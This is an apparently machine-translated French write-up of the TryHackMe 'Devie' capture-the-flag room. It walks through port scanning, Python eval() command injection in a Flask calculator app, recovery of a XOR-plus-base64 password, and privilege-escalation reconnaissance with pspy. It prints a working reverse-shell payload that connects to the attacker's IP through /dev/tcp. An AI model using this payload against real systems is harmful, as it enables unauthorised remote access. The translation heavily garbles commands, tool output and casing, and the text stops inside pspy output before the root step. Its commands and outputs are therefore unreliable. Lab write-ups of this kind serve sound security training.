[Tryhackme] J'ai essayé l'injection de commande en utilisant la fonction EVAL () de Python! Devie WRITEUP

Cette fois, j'ai essayé l'injection de commande en utilisant la fonction EVAL () de Python.
Il comprend également l'injection de commande comme un article pour la salle appelée Devie de Tryhackme, alors jetez un œil.
"Tryhackme-: https://tryhackme.com/room/devie "

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Auteur: ipusiron
¥3,850 (À partir de 22:32 le 2025/07/15 | Recherche Amazon)
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 13:32 le 2025/07/16 | Recherche Amazon)
table des matières

Préparation

Tout d'abord, sélectionnez "Démarrer la machine" pour démarrer la machine cible.

Tant que l'adresse IP s'affiche, c'est OK.

Quels sont les drapeaux?

Allons immédiatement le drapeau.
Il n'y a aucun indice sur cette pièce, nous devons donc commencer par la reconnaissance.

Quel est le premier drapeau?

Tout d'abord, nous utiliserons NMAP pour effectuer la numérisation des ports.

┌fiques (HackLab㉿HackLab) - [~] └fique (Latence 0,25S). Non illustré: 65533 PORTS TCP CLOST (Conn-refusés) Le service d'état du port version 22 / TCP Open SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; Protocol 2.0) | SSH-HOSTKEY: | 3072 C9: 72: 7B: F5: B6: 2E: D5: 99: 56: 14: DE: 43: 09: 3A: 64: 92 (RSA) | 256 0B: 75: 58: 5A: B9: F7: 5B: A9: FF: EF: AD: 71: C1: 09: 0A: 33 (ECDSA) | _ 256 7D: F9: C9: F8: 67: F9: 95: 4E: 01: 68: 23: A4: 7B: 8C: upnp? | Cordon d'empreintes digitales: | GetRequest: | HTTP / 1.1 200 OK | Serveur: werkzug / 2.1.2 python / 3.8.10 | Date: Jeu, 25 mai 2023 13:08:24 GMT | Type de contenu: texte / html; Charset = UTF-8 | Longueur du contenu: 4486 | Connexion: Fermer |<!doctype html> |<html lang="en"> |<head> |<meta charset="utf-8"> |<meta name="viewport" content="width=device-width, initial-scale=1"> | <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> |<title> Mathématiques</title> |</head> |<body> | id = "title"> formules mathématiques</p> |<main> |<section><!-- Sections within the main --> | id = "titres"> N'hésitez pas à utiliser l'une des calculatrices ci-dessous:</h3> |<br> |<article><!-- Sections within the section --> | id = "titres"> Formule quadratique</h4> | <form met | RTSPRequest: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd">|<html> |<head> |<meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | |</head> | |<h1> Réponse d'erreur</h1> |<p> Code d'erreur: 400</p> |<p> Message: version de mauvaise demande («RTSP / 1.0»).</p> |<p> Explication du code d'erreur: httpstatus.bad_request - Syntaxe de mauvaise demande ou méthode non soutenue.</p> | | _</html> 1 Service Données de retour de destination non reconnue. Si vous connaissez le service / la version, veuillez soumettre l'empreinte digitale suivante sur https://nmap.org/cgi-bin/submit.cgi?new-service: sf-port5000-tcp: v = 7.92% SF:tRequest,1235,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x2 SF:0Python/3\.8\.10\r\nDate:\x20Thu,\x2025\x20May\x202023\x2013:08:24\x20G Sf: mt \ r \ ncontent-type: \ x20tex<!doctype\x20html> \ n<html\x20lang SF:=\"en\"> \ n \ x20 \ x20<head> \ n \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20charset=\"utf-8\"> \ n sf: \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20name=\"viewport\"\x20content=\"width=device-wi SF:dth,\x20initial-scale=1\"> \ n \ n \ x20 \ x20 \ x20 \ x20 \ x20 <link\x20href=\"https://c SF:dn\.jsdelivr\.net/npm/bootstrap@5\.0\.1/dist/css/bootstrap\.min\.css\"\ SF:x20rel=\"stylesheet\"\x20integrity=\"sha384-\+0n0xVW2eSR5OomGNYDnhzAbDs SF:OXxcvSN1TPprVMTNDbiYZCxYbOOl7\+AMvyTG2x\"\x20crossorigin=\"anonymous\"> Sf: \ n \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ n \ x20 \ x20 \ x20</head> \ n \ x20 \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20<p\x20id=\"title\"> Math \ x20formulas</p> \ n \ n \ x20 \ x20 \ sf: x20 \ x20<main> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<section> \ x20 \ x20<!--\x20Section SF:s\x20within\x20the\x20main\x20--> \ n \ n \ t \ t \ t<h3\x20id=\"titles\"> \ x20f sf: eel \ x20free \ x20to \ x20use \ x20any \ x20of \ x20the \ x20calculateurs \ x20Below:</ SF:h3> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<br> \ n \ t \ t \ t<article> \ x20<!--\x2 SF:0Sections\x20within\x20the\x20section\x20--> \ n \ t \ t \ t \ t \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<h4\x20id=\"titles\"> Quadratique \ x20formula</h SF:4> \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ <form\x20met")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\ SF:x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\"> \ n<html> \ n \ x20 sf: \ x20 \ x20 \ x20<head> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20http-equiv SF:=\"Content-Type\"\x20content=\"text/html;charset=utf-8\"> \ n \ x20 \ x20 \ x20 sf: \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 <sf: / head> \ n \ x20 \ x20 \ x20 \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<h1> Err sf: ou \ x20response</h1> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<p> Erreur \ x20CODE: \ SF: x20400</p> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<p> Message: \ x20bad \ x20reque sf: st \ x20version \ x20 \ ('rtsp / 1 \ .0' \) \.</p> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x2 sf: 0<p> Error \ x20code \ x20Explanation: \ x20httpstatus \ .bad_request \ x20- \ x20ba sf: d \ x20request \ x20Syntax \ x20or \ x20UnSupported \ x20Method \.</p> \ n \ x20 \ x20 \ x sf: 20 \ x20 \ n</html> \ n "); Info du service: OS: Linux; CPE: CPE: / O: Linux: Linux_Kernel Service Detection effectuée. Veuillez signaler tout résultat incorrect sur https://nmap.org/submit/.

J'ai trouvé deux choses:

  • 22: ssh
  • 5000: application Web en cours d'exécution sur un serveur HTTP

Jetons maintenant un coup d'œil à l'application Web numéro 5000.

Vous pouvez télécharger le code source.
Téléchargez-le et jetez un œil au contenu.

La première chose qui me dérange est bissection.py.
prime.py et quadratic.py sont des flotteurs, alors qu'il y a une chaîne.

Ensuite, App.py.
Si vous regardez la partie BISECT, vous pouvez voir qu'il utilise eval ().

Comme vous pouvez le voir sur le site ci-dessous, EVAL () vous permet d'exécuter les valeurs saisies par l'utilisateur par le code Python.
En tant que valeur d'entrée, appelez OS.System () pour inverser le shell.

Je souhaite réécrire les valeurs dans Burp Suite, donc je vais soumettre la méthode de bissection.

Proxy dans Burp Suite et réécrivez XA avec le code de shell inversé ci-dessous.

__Import __ ('OS'). Système ('BASH -C \' / BIN / BASH + -I +>% 26 + / DEV / TCP / 10.18.110.90 / 9001 + 0>% 261 \ '') #

Écoutez avec NC avant de transférer.

┌fiques (HackLab㉿hackLab) - [~] └─ $ nc -lnvp 9001 Écoute sur [any] 9001 ...

Après l'avion, j'ai obtenu une coquille de Bruce.

┌til (HackLab㉿HackLab) - [~] └fique Whoami Whoami Bruce

Il y a Flag1.txt, alors veuillez le vérifier.

Bruce @ devie: ~ $ ll ll total 44 drwxr-xr-x 4 Bruce Bruce 4096 20 février 00:33 ./ drwxr-xr-x 4 racine root 4096 12 mai 2022 ../ lrwxrwxrwx 1 racine racine 9 mai 1322. .bash_logout -rw-r --- 1 Bruce Bruce 3771 25 févr -rw-r --- 1 Bruce Bruce 807 25 février 2020 .Profile -rw-rw-r-- 1 Bruce Bruce 75 mai 12 2022 .Selected_editor DRWX ---- 2 Bruce Bruce 4096 12 mai 2022 .Ssh / -rw ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Répondre

Quel est le deuxième drapeau?

Je chercherai le deuxième drapeau.
J'ai trouvé un fichier intitulé Note dans le répertoire Bruce que j'ai aimé, donc je vais le vérifier.

Bruce @ devie: ~ $ Cat Remarque Cat Note Hello Bruce, j'ai encodé mon mot de passe en utilisant le format XOR super sécurisé. J'ai fait la clé assez longue et je l'ai épicée avec de la base64 à la fin pour la rendre encore plus sécurisée. Je partagerai bientôt le script de décodage. Cependant, vous pouvez utiliser mon script situé dans le répertoire / opt /. Pour l'instant, regardez cette chaîne super sécurisée: neuedtien1mrdg5k gordon ===== Bonjour Bruce, j'ai utilisé le format XOR super sécurisé pour coder le mot de passe. La clé était assez longue et je l'ai finalement piqué avec Base64 pour le rendre encore plus sécurisé. Nous publierons bientôt le script de décryptage. Cependant, vous pouvez utiliser mon script dans le répertoire / opt /. Pour l'instant, jetez un œil à cette chaîne super sûre: Neuedtien1mrdg5k Gordon

En résumé, il a été codé au format XOR puis codé dans la base64.
Il a également déclaré que le script de chiffrement est sous "/ opt /".
À ce stade, nous connaissons le "Neuedtien1mrdg5k" qui est le résultat de le chiffrer avec le script ci-dessus.

  • Texte brut :? ?
  • clé:? ?
  • Cryptage: neuedtien1mrdg5k

S'il est crypté XOR, cela signifie qu'il peut être combiné tant que vous connaissez la clé.
Pour découvrir la clé, vous devez connaître le texte en clair et le chiffre.
Cette fois, il y a un script de codage, vous pouvez donc identifier la clé en générant des chiffres à partir d'un texte en clair approprié et en décryptant le chiffre en utilisant le texte en clair comme clé.

Tout d'abord, jetons un coup d'œil à encrypt.py in / opt /.

Bruce @ devie: ~ $ cd / opt / cd / opt / bruce @ devie: / opt $ ll ll total 12 drwxr-xr-x 2 racine root 4096 août 2 2022 ./ drwxr-xr-x 19 racine racine 4096 mai 12 2022 ../ -rw-r ---- 1 root gordon 485 août 2 2022 ENCRYP

Pour l'instant, il semble non autorisé.
Afficher les autorisations sudo avec sudo -l.

Bruce @ devie: / opt $ sudo -l sudo -l correspondant aux paramètres par défaut pour Bruce sur le périphérique: Env_Reset, Mail_badpass, Secure_Path = / USR / Local / Sbin \: / USR / Local / Bin \: / USR / SBIN \: / Sbin \: / Snap / Bin User Bruce peut exécuter les commandes suivantes sur DeVie: (Gordon) Nopasswd: / usr / bin / python3 /opt/encrypt.py

Nopasswd de Gordon avait "/ usr / bin / python3 /opt/encrypt.py".
Cela signifie que vous pouvez le faire sans mot de passe.

Maintenant, exécutons Encrypt.py.
La note ci-dessus indique que la clé est définie sur longtemps, je l'ai donc réglée à 30 chiffres.

Bruce @ devie: / opt $ sudo -u gordon / usr / bin / python3 /opt/encrypt.py sudo -u gordon / usr / bin / python3 /opt/encrypt.py entrez un mot de passe à Encrypt: 123456789012345678901234567890 Qkdduudfultlvuvzvk1nwuvvkjcr0nrr0vsw0tv

Le résultat de l'exécution est le suivant:

  • Texte brut: 123456789012345678901234567890
  • clé:? ?
  • Cryptographie: qkdduudfultlvuvzvk1nwuvkjcr0nrr0vsw0tv

Maintenant que nous connaissons le texte brut et le chiffre, nous le décrypterons en utilisant Cyberchef

Les résultats du décodage sont les suivants:

supersecretyxorxorsupersecre

Il est répété lorsque les chiffres sont dépassés, j'ai donc constaté que la clé est "supersecretkeyxorxor".

  • Texte brut: 123456789012345678901234567890
  • Clé: supersecretkeyxorxor
  • Cryptographie: qkdduudfultlvuvzvk1nwuvkjcr0nrr0vsw0tv

Si le chiffrement a été généré à partir du même script de codage, la clé doit être la même, donc la clé qui crypte le mot de passe Gordon sera également la même.

  • Texte brut :? ?
  • Clé: supersecretkeyxorxor
  • Cryptage: neuedtien1mrdg5k

Vous pouvez maintenant décrypter le cryptage en utilisant la clé.
Utilisez CyberChef.

Les résultats du décodage sont les suivants:

  • Texte brut: G0th @ mr0ckz!
  • Clé: supersecretkeyxorxor
  • Cryptage: neuedtien1mrdg5k

J'ai réussi le texte brut, donc je vais me connecter en utilisant SSH.

┌fiques (HackLab㉿hackLab) - [~] └fique SSH gordon@10.10.120.182 L'authenticité de l'hôte '10 .10.120.182 (10.10.120.182) 'ne peut pas être établie. ED25519 Empreinte digitale clé est SHA256: 6NBPOXONBVDQTML32GOUL + CH5CXDNJQBOFZ7S9O2ITG. Cette clé hôte est connue par les autres noms / adresses suivants: ~ / .ssh / connu_hosts: 6: [nom hachée] ~ / .ssh / connu_hosts: 7: [nom hachée] Êtes-vous sûr de vouloir continuer à connecter (oui / non / [digitalprint])? Oui Avertissement: ajouté en permanence '10 .10.120.182 '(ED25519) à la liste des hôtes connus. gordon@10.10.120.182's Mot de passe: Bienvenue à Ubuntu 20.04.5 LTS (GNU / Linux 5.4.0-139-Generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.Canonical.com 2023 01:47:42 PM UTC System Load: 0.08 Processus: 124 Utilisation de /: 56,4% des utilisateurs de 8,87 Go enregistrés: 0 Utilisation de la mémoire: 12% IPv4 Adresse pour ENS5: 10.10.120.182 Utilisation du swap: 0% * Sécurité Kubernetes limités strictement. Découvrez comment Microk8 vient de soulever la barre pour un déploiement de cluster K8S facile, résilient et sécurisé. https://ubuntu.com/engage/secure-kubernetes-at-the-edge * introduisant une maintenance de sécurité étendue pour les applications. Recevez des mises à jour de plus de 25 000 packages de logiciels avec votre abonnement Ubuntu Pro. Gratuit pour un usage personnel. https://ubuntu.com/pro La maintenance de sécurité étendue pour les applications n'est pas activée. 0 Les mises à jour peuvent être appliquées immédiatement. Activez les applications ESM pour recevoir des mises à jour de sécurité futures supplémentaires. Voir https://ubuntu.com/esm ou exécuter: Sudo Pro Status La liste des mises à jour disponibles a plus d'une semaine. Pour vérifier les nouvelles mises à jour exécutées: Sudo APT Mettez à jour les programmes inclus avec le système Ubuntu sont des logiciels gratuits; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Ubuntu ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. gordon @ devie: ~ $ 

J'ai pu me connecter en toute sécurité!
Il y a Flag2.txt, alors vérifiez-le.

Gordon @ Devie: ~ $ ll Total 36 Drwxr-Xr-X 5 Gordon Gordon 4096 25 mai 13:47 ./ drwxr-xr-x 4 racine racine 4096 12 mai 2022 ../ drwxrwx --- 2 Gordon Gordon 4096 février 19 23:35. -> / dev / null -rw-r - r-- 1 Gordon Gordon 220 25 février 2020 .bash_logout -rw-r - r - r ---- .bash_logout -RW-R --R ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 Gordon Gordon 3771 25 février 2020. DRWX ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- gordon @ devie: ~ $ Cat Flag2.txt thm {x0r_xor_xor_xor}

Répondre

Quel est le drapeau racine?

Enfin, il sera élevé aux privilèges racinaires et obtiendra le drapeau racine.

Ce que je suis curieux, ce sont les rapports et les buckups.
Jetons un coup d'œil à ce qu'il y a à l'intérieur.

Gordon @ Devie: ~ $ ll Total 36 Drwxr-Xr-X 5 Gordon Gordon 4096 25 mai 13:47 ./ drwxr-xr-x 4 racine racine 4096 12 mai 2022 ../ drwxrwx --- 2 Gordon Gordon 4096 février 19 23:35. -> / dev / null -rw-r - r-- 1 Gordon Gordon 220 25 février 2020 .bash_logout -rw-r - r - r ---- .bash_logout -RW-R --R ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 Gordon Gordon 3771 25 février 2020. DRWX ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

J'ai également recherché les fichiers dans les rapports, mais rien ne me dérangeait particulièrement.

Gordon @ devie: ~ $ CD Reports Gordon @ Devie: ~ / Reports $ ll Total 20 Drwxrwx --- 2 Gordon Gordon 4096 19 févr Gordon 72 février 19 23:32 Rapport2 -rw-r - r-- 1 640 Gordon 100 février 19 23:33 Rapport3

Ensuite, en ce qui concerne les sauvegardes, il semble que ce soit des rapports.
Il est étrange que les autorisations soient root.

gordon @ devie: ~ $ cd Backups / gordon @ devie: ~ / backups $ ll total 20 drwxrwx --- 2 Gordon Gordon 4096 19 fév. 25 14:02 RAPPORT2 -RW-R - R - 1 racine racine 100 mai 25 mai 14:02 Rapport3

Pour essayer, créez un test.txt dans les rapports.

gordon @ devie: ~ $ cd reporting gordon @ devie: ~ / rapports $ touch test.txt gordon @ devie: ~ / rapports $ ll total 20 drwxrwx --- 2 gordon gordon 4096 25 mai 14:03 ./ Drwxr-xr-x 5 gordon gordon 4096 25 fb 19h20 RAPPORT1 -RW-R --R-- 1 640 GORDON 72 FEB 19 23:32 Rapport2 -rw-R - R-- 1 640 Gordon 100 février 19 23:33 Rapport3 -rw-rw-r-- 1 Gordon Gordon 0 mai 25 14:03 test.txt

Quand j'ai recherché des sauvegardes, j'ai trouvé que le test.txt avait été copié dans environ une minute. Et avec les privilèges racinaires.

gordon @ devie: ~ / Backups $ ll total 20 drwxrwx --- 2 Gordon Gordon 4096 25 mai 14:04 ./ Drwxr-xr-x 5 Gordon Gordon 4096 25 mai racine racine 100 mai 25 14:04 rapport3 -rw-r - r-- 1 racine racine 0 mai 25 14:04 test.txt

Depuis qu'il fonctionne régulièrement, j'ai jeté un coup d'œil à Crontab, mais je n'ai rien trouvé de tel. . .

gordon @ devie: ~ / sauvegarde $ cat / etc / crontab # / etc / crontab: crontab à l'échelle du système, contrairement à tout autre crontab, vous n'avez pas à exécuter la commande `crontab '# pour installer la nouvelle version lorsque vous modifiez ce fichier # et les fichiers dans /etc/cron.d. Ces fichiers ont également des champs de nom d'utilisateur, # qu'aucun des autres crontabs ne le fait. Shell = / bin / sh path = / usr / local / sbin: / usr / local / bin: / sbin: / usr / sbin: / usr / bin # Exemple de définition du travail: # .----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --Report /etc/cron.Hourly 25 6 * * * Root Test -x / usr / sbin / anacron || (cd / && run-plats --report /etc/cron.daily) 47 6 * * 7 root test -x / usr / sbin / anacron || (cd / && run -ps --report /etc/cron.weekly) 52 6 1 * * root test -x / usr / sbin / anacron || (cd / && run -ps --report /etc/cron.monthly) #

Essayons maintenant d'utiliser PSPY64.

Une fois téléchargé, configurez simplement le serveur à l'aide de Python.

┌fiques (hackLab㉿hackLab) - [~] └fique $ python3 -m http.server 9999 servant http sur 0.0.0.0 port 9999 (http://0.0.0:9999/) ...

Téléchargez PSPY64 avec WGET et modifiez les autorisations.

gordon @ devie: ~ $ wget 10.18.110.90:9999/download/pspy64 --2023-05-25 14: 10: 13-- http://10.18.110.90:9999/%E3%83%80%E3%82%A6%E3%83%B3%E3%83%AD%E3%83%BC%E3%83%89/pspy64 se connectant à 10.18.110.90:9999 ... Connected. Demande http envoyée, en attente de réponse ... 200 ok longueur: 3104768 (3,0m) [application / octtet-stream] Enregistrement vers: 'pspy64' pspy64 100% [=====>] 2,96M 123KB / S en 44S 2023-05-25 14:10:57 (69.5 kb / s) - 'Pspy64' SAVED. [3104768/3104768] Gordon @ Devie: ~ $ chmod a + x pspy64 gordon @ devie: ~ $ ll total 3068 Drwxr-xr-x 5 Gordon Gordon 4096 May 25 14:10 ./ DRWXR-XR-X 4 ROOTON ROOTON 40962020 14:10 BACKUPS / LRWXRWXRWX 1 racine racine 9 mai 13 2022 .BASH_HISTORY -> / dev / null -rw-r --r-- 1 Gordon Gordon 220 février 2020 .BASH_LOGOUT -RW-R --- 1 Gordon Gordon 3771 Feb 2520. .Cache / -rw-r ---- 1 Root Gordon 21 août 2 2022 Flag2.txt -rw-r - r-- 1 Gordon Gordon 807 25 févr -rw ------ 1 Gordon Gordon 0 mai 12 2022 .viminfo

Maintenant, exécutez PSYS64.

gordon @ devie: ~ $ ./pspy64 pspy - Version: v1.2.1 - Commit Sha: F9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓████ ██▓███ ▓██░ ██▓██░ ██▒▒▒▒██░ ██▒░ ▓██░ ██▓▒░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ██░ ▒██░ ▒██░ ██░ ▒██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██ ▒ ▒ ██▒██▄█▓▒ ▒ ▐██▓░ ▒██▒ ░ ▒██░ ░ ██▒▒▒▒▒▒ ██ ░ ██▒▒▒ ░ ░ ░ ██▒▒▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░. ░ ░ Config: Événements d'impression (colored = true): Processes = true | file-system-events = false ||| Analyse des processus toutes les 100 ms et sur les événements inotifier ||| Regarder les répertoires: [/ usr / tmp / etc / home / var / opt] (récursif) | [] (non réécursive) Événements de système de fichiers drainent dû au démarrage ... fait 2023/05/25 14:13:40 cmd: uid = 1001 pid = 1753 | ./pspy64 2023/05/25 14:13:40 cmd: uid = 0 pid = 1741 | 2023/05/25 14:13:40 CMD: UID = 0 pid = 1710 | 2023/05/25 14:13:40 CMD: UID = 0 pid = 1638 | 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1582 | -Bash 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1576 | sshd: gordon @ pts / 0 2023/05/25 14:13:40 cmd: uid = 0 pid = 1454 | 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1453 | (SD-PAM) 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1449 | / lib / systemd / systemd --User 2023/05/25 14:13:40 cmd: uid = 0 pid = 1433 | SSHD: Gordon [priv] 2023/05/25 14:13:40 cmd: uid = 0 pid = 1262 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 997 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 709 | / usr / sbin / modemManager 2023/05/25 14:13:40 cmd: uid = 0 pid = 702 | / usr / bin / python3 / usr / share / non traité les modes de travail / non traité-mise à niveau-shutdown - wait-for-signal 2023/05/25 14:13:40 cmd: uid = 0 pid = 696 | sshd: / usr / sbin / sshd -d [écouteur] 0 des 10-100 startups 2023/05/25 14:13:40 cmd: uid = 1000 pid = 695 | / usr / bin / python3 /var/www/math/app.py 2023/05/25 14:13:40 cmd: uid = 1000 pid = 694 | / bin / sh -c / usr / bin / python3 /var/www/math/app.py 2023/05/25 14:13:40 cmd: uid = 0 pid = 683 | / Sbin / Agetty -o -p - \ U --NoClear Tty1 Linux 2023/05/25 14:13:40 CMD: UID = 0 pid = 677 | / sbin / Agetty -o -p - \ u --keep-baud 115200,38400,9600 TTYS0 VT220 2023/05/25 14:13:40 cmd: uid = 1 pid = 648 | / USR / SBIN / ATD -F 2023/05/25 14:13:40 CMD: UID = 0 PID = 646 | / usr / sbin / cron -f 2023/05/25 14:13:40 cmd: uid = 0 pid = 644 | / usr / lib / udisks2 / udisksd 2023/05/25 14:13:40 cmd: uid = 0 pid = 642 | / lib / systemd / systemd-logind 2023/05/25 14:13:40 cmd: uid = 0 pid = 640 | / usr / lib / snapd / snapd 2023/05/25 14:13:40 cmd: uid = 104 pid = 639 | / usr / sbin / rsyslogd -n -inone 2023/05/25 14:13:40 cmd: uid = 0 pid = 633 | / usr / lib / stratégiekit-1 / polkitd --no-debug 2023/05/25 14:13:40 cmd: uid = 0 pid = 632 | / usr / bin / python3 / usr / bin / networkd-dispatcher --run-startup-triggers 2023/05/25 14:13:40 cmd: uid = 0 pid = 631 | / USR / SBIN / IRQBALANCE - AFTERGERD 2023/05/25 14:13:40 CMD: UID = 103 PID = 625 | / usr / bin / dbus-daemon --System --Address = systemd: --nofork --nopidfile --systemd-activation --syslog-only 2023/05/25 14:13:40 cmd: uid = 0 pid = 624 | / usr / sbin / cron -f 2023/05/25 14:13:40 cmd: uid = 0 pid = 619 | / USR / bin / Amazon-SSM-Agent 2023/05/25 14:13:40 CMD: UID = 0 pid = 618 | / usr / lib / comptesservice / accouts-daemon 2023/05/25 14:13:40 cmd: uid = 101 pid = 606 | / lib / systemd / systemd-résolu 2023/05/25 14:13:40 cmd: uid = 100 pid = 595 | / lib / systemd / systemd-networkd 2023/05/25 14:13:40 cmd: uid = 102 pid = 557 | / lib / systemd / systemd-tmesyncd 2023/05/25 14:13:40 cmd: uid = 0 pid = 548 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 547 | 2023/05/25 14:13:40 CMD: UID = 0 pid = 541 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 537 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 535 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 526 | / sbin / multipathd -d -s 2023/05/25 14:13:40 cmd: uid = 0 pid = 525 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 524 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 523 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 522 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 403 | / lib / systemd / systemd-dudevd 2023/05/25 14:13:40 cmd: uid = 0 pid = 365 | / lib / systemd / systemd-Journald 2023/05/25 14:13:40 cmd: uid = 0 pid = 327 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 291 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 290 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 283 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 241 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 209 | 2023/05/25 14:13:40 CMD: UID = 0 pid = 176 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 162 | 2023/05/25 14:13:40 CMD: UID = 0 pid = 161 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 160 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 159 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 120 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 107 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 104 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 94 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 93 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 92 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 91 | 2023/05/25 14:13:40 CMD: UID = 0 pid = 89 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 88 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 85 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 84 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 83 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 82 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 81 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 80 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 79 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 78 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 77 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 30 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 29 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 28 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 27 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 26 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 25 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 24 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 23 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 22 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 21 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 20 | 